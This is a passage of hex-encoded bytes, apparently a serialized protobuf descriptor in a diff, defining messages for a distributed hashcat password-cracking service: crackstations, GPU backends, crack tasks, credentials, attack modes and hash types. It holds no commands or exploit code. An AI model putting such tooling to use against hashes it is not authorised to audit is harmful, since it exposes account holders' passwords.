- 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43,
- 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43,
- 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72,
- 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32,
- 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65,
- 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61,
- 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69,
- 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74,
- 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69,
- 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69,
- 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e,
- 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69,
- 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
- 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08,
- 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08,
- 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74,
- 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65,
- 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b,
- 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72,
- 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c,
- 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28,
- 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07,
- 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79,
- 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e,
- 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53,
- 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01,
- 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50,
- 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79,
- 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73,
- 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73,
- 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72,
- 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03,
- 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01,
- 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01,
- 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b,
- 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
- 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44,
- 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44,
- 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03,
- 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42,
- 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a,
- 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65,
- 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a,
- 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12,
- 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05,
- 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72,
- 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55,
- 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55,
- 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74,
- 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41,
- 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04,
- 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12,
- 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05,
- 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41,
- 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03,
- 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09,
- 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f,
- 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xfd, 0x03, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73,
- 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70,
- 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12,
- 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f,
- 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x05, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61,
- 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69,
- 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18,
- 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63,
- 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61,
- 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45,
- 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73,
- 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19,
- 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61,
- 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12,
- 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a,
- 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42,
- 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61,
- 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28,
- 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65,
- 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06,
- 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d,
- 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79,
- 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76,
- 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75,
- 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61,
- 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70,
- 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a,
- 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52,
- 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e,
- 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f,
- 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e,
- 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12,
- 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20,
- 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12,
- 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05,
- 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54,
- 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f,
- 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72,
- 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d,
- 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56,
- 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55,
- 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70,
- 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12,
- 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54,
- 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18,
- 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12,
- 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18,
- 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56,
- 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65,
- 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73,
- 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65,
- 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07,
- 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d,
- 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a,
- 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a,
- 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73,
- 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69,
- 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65,
- 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42,
- 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79,
- 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a,
- 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05,
- 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65,
- 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64,
- 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f,
- 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e,
- 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06,
- 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73,
- 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52,
- 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79,
- 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d,
- 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f,
- 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65,
- 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61,
- 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c,
- 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a,
- 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a,
- 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28,
- 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61,
- 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74,
- 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68,
- 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69,
- 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08,
- 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68,
- 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73,
- 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52,
- 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61,
- 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43,
- 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c,
- 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74,
- 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18,
- 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69,
- 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28,
- 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72,
- 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62,
